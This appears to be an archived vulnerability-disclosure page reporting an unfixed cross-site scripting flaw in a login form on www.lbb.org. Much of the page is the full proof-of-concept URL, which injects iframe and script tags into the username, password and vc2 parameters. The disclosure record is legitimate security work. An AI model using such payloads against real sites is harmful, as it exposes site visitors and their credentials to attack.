Security researcher death-angel, has submitted on 03/10/2008 a cross-site-scripting (XSS) vulnerability affecting www.lbb.org, which at the time of submission ranked 296502 on the web according to Alexa.
We manually validated and published a mirror of this vulnerability on 13/09/2009. It is currently unfixed.
If you believe that this security issue has been corrected, please send us an e-mail. |
| Date submitted: 03/10/2008 |
Date published: 13/09/2009 |
Fixed? Mail us! | Status:  UNFIXED |
| Author: death-angel |
Domain: www.lbb.org |
Category: XSS |
Pagerank: 296502 |
|---|
URL: http://www.lbb.org/dir/compte/?vc=%2F8wYBUj8VNx%2B419jnG9RxKihrlyF%2BdIFLYhuIWyoFII%3D&action=entrer
&Utilisateur=<iframe+src%3D\"<script>alert(String.fromCharCode(120%2C+115%2C+115%2C+32%2C+98%2C+121%
2C+32%2C+100%2C+101%2C+97%2C+116%2C+104%2C+45%2C+97%2C+110%2C+103%2C+101%2C+108))%3B<%2Fscript>&Mot_
passe=<iframe+src%3D\"<script>alert(String.fromCharCode(120%2C+115%2C+115%2C+32%2C+98%2C+121%2C+32%2
C+100%2C+101%2C+97%2C+116%2C+104%2C+45%2C+97%2C+110%2C+103%2C+101%2C+108))%3B<%2Fscript>&vc2=<iframe
+src%3D\"<script>alert(String.fromCharCode(98%2C+121%2C+32%2C+100%2C+101%2C+97%2C+116%2C+104%2C+45%2
C+97%2C+110%2C+103%2C+101%2C+108))%3B<%2Fscript> |
| POST: double |
|
Click here to view the mirror
|
|
|
| 
